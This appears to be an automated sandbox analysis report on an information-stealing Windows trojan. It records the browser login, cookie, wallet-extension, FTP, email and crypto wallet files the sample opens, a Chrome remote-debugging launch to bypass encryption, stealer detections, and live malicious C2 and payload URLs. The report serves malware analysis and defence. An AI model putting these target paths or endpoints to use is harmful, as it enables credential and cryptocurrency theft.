Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2566492588.0000000001735000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ff628321ee.exe PID: 5496, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1874484736.0000000000221000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2471979549.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1297316398.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2528677354.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2515345753.0000000000081000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7381e244.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF50C40 sqlite3_bind_zeroblob,	1_2_6CF50C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF50D60 sqlite3_bind_parameter_name,	1_2_6CF50D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE78EA0 sqlite3_clear_bindings,	1_2_6CE78EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6CF50B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE76410 bind,WSAGetLastError,	1_2_6CE76410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE760B0 listen,WSAGetLastError,	1_2_6CE760B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE76070 PR_Listen,	1_2_6CE76070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE7C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CE7C050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE7C030 sqlite3_bind_parameter_count,	1_2_6CE7C030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE022D0 sqlite3_bind_blob,	1_2_6CE022D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE763C0 PR_Bind,	1_2_6CE763C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	248 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	861 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	32%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	37%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	32%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe	37%	ReversingLabs	Win32.Trojan.AutoitInject

Source	Detection	Scanner	Label
https://marshal-zhukov.c	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe613	0%	Avira URL Cloud	safe
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804se	0%	Avira URL Cloud	safe
https://login.steampowereH	0%	Avira URL Cloud	safe
https://disobey-curly.sbs:443/api	100%	Avira URL Cloud	malware
https://marshal-zhukov.ch	0%	Avira URL Cloud	safe
https://powerful-avoids.sbs/l	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpAB	100%	Avira URL Cloud	malware
http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/i	100%	Avira URL Cloud	malware
https://player.viX	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiT	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apiM	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/l	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/U	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
home.twentykm20sr.top	34.118.84.150	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
marshal-zhukov.com	104.21.82.174	true	false	high
httpbin.org	18.213.123.165	true	false	high
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.65	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.78	true	false	high
youtube-ui.l.google.com	142.250.181.78	true	false	high
steamcommunity.com	104.121.10.34	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	high
sb.scorecardresearch.com	18.161.69.30	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
blade-govern.sbs	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
powerful-avoids.sbs	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
occupy-blushi.sbs	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
motion-treesz.sbs	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
leg-sate-boat.sbs	unknown	unknown	false	high
disobey-curly.sbs	unknown	unknown	false	high
